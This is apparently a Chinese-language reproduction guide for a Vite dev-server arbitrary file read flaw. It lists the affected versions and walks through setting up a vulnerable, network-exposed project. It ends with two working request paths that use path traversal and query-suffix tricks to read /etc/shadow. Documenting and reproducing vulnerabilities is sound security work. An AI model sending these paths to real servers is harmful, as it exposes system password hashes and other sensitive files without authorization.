漏洞描述
该漏洞是由于 Vite 开发服务器在处理特定 URL 请求时,未对请求路径进行严格的安全检查和限制所致。攻击者可以利用这一漏洞绕过保护机制,未经授权地访问项目根目录之外的敏感文件。
利用条件:仅在 Vite 启动时使用了 --host 或配置文件设置了 server.host 导致对外网暴露的开发环境中才会受影响。
影响版本
- 6.2.0 <= Vite <= 6.2.4
- 6.1.0 <= Vite <= 6.1.3
- 6.0.0 <= Vite <= 6.0.13
- 5.0.0 <= Vite <= 5.4.16
- Vite <= 4.5.11
环境搭建
这里使用漏洞次新版:vite 6.2.4
1. 安装node 和 npm
# 添加 NodeSource 仓库(安装 18.x 或 20.x 都可以)
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
# 安装 node 和 npm
sudo apt install -y nodejs
# 验证安装
node -v
npm -v
2. 创建项目,按照如下所示操作
npm create vite@latest
- 项目名回车默认:vite-project
- 选择框架 Vanilla
- 选择 JavaScript
3. 项目生成好后,接下来运行项目
cd vite-project
#手动降级vite到 6.2.4 版本
npm install vite@6.2.4 --save-dev
#查看版本
npx vite -v
4. 新建 vite.config.js
// vite.config.js
export default {
server: {
host: true
}
}
5. 最后运行
npm install
npm run dev
漏洞复现
/etc/shadow?.svg?.wasm?init
#或者
/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw
参考:https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x